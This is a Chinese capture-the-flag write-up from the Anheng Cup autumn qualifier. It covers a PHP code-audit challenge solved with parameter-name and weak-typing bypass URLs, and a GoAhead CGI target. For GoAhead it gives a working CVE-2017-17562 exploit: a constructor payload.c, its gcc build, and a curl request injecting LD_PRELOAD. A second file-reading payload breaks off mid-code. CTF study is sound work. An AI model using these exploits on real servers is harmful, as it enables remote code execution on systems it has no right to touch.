前言

渣渣一枚,萌新一个,划了安恒杯秋季选拔赛,题目扎心(Orz.jpg)

个人写的writrup大佬轻喷(QAQ)

一:奇怪的恐龙特性

这是我做的第一题,感觉还可以一道代码审计的题目,发现了一个我以前没见过的知识点,可以详细看看这个链接

https://bugs.shuimugan.com/bug/view?bug_no=64792

从上面可以看出,简单点解释就是当代码中存在$_REQUEST['user_id']里面类似的参数的时候,我们在url上可以这样a.php?user.id

传参去进行绕过,这样进去之后也能表示$_REQUEST['user_id']的值,同样可以绕过的符号还有+``.``[ 等,应该说是php的一个小特性,上面讲的很清楚了

<?php
    highlight_file(__FILE__);
    ini_set("display_error", false); 
    error_reporting(0); 
    $str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
    if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
    echo 'A_A,have fun';
    }
    elseif ($str<9999999999) {
    echo 'A_A,too small';
    }
    elseif ((string)$str>0) {
    echo 'A_A,too big';
    }
    else{
    echo file_get_contents('flag.php');

    }

     ?>

阅读代码发现,首先第一步要绕过A_A这个符号,如果出现这个符号他就会显示A_A,have fun,就不能继续往下面执行到file_get_contents('flag.php')了,

但是我们发送get参数的时候又必须要发送,因此我们就用到刚才的知识点,我们可以用A.A或者是A+A去传参去绕过。

下面的代码就是常规的数字绕过了,但这里也用到了一个trick,就是无论你的数字多大,对于数组而言总是比数组小,下面是操作

所以说,我们可以利用数组去绕过$str<9999999999的特性,下面一个判断是强制转化为字符串在与数字比较的判断,

这就是平常操作很多的弱类型了,直接让参数等于admin就可以了,因为“admin”== 0 ,结果是true,直接等于0绕过即可,所以这题的payload

http://114.55.36.69:8022/?A.A[]=admin

或者使用

http://114.55.36.69:8022/?A+A[]=admin

然后查看源代码就会得到:flag={09bc24026c987ae44a6e424479b2e3}

二:GOGOGO

这题拿到题目发现无法访问,扫了下端口,发现是8080端口开放

进去后可以看见Hello gogogo

感觉没什么用,抓了个包看看,发现是goahead

于是搜了一波,发现有CVE:

GoAhead服务器 远程命令执行漏洞(CVE-2017-17562)

附上Freebuf的一篇文章http://www.freebuf.com/vuls/158089.html

漏洞利用也非常简单

payload.c

# PoC/payload.c
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World!\n", 14);
}

然后gcc成so文件:gcc -shared -fPIC ./payload.c -o payload.so

然后攻击

curl -X POST --data-binary @payload.so http://ip/hello.cgi?LD_PRELOAD=/proc/self/fd/0 -i

可以得到回显

HTTP/1.1 200 OK
Date: Sun Dec 17 13:08:20 2017
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello:  World!
Content-type: text/html

只要出现hello: World!就说明攻击成功了

那么下面构造我们的攻击payload

首先是找文件的绝对路径 使用c语言进行操作,c语言实现执行命令的脚本网上一搜一大堆,

最后发现是www目录下的goahead文件夹

然后读文件

#include "stdio.h"  
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void){
char filename[] = "/var/www/goahead/cgi-bin/hello.cgi"; 
 FILE *fp; 
 char StrLine[1024];
点击收藏 | 0 关注 | 2
登录 后跟帖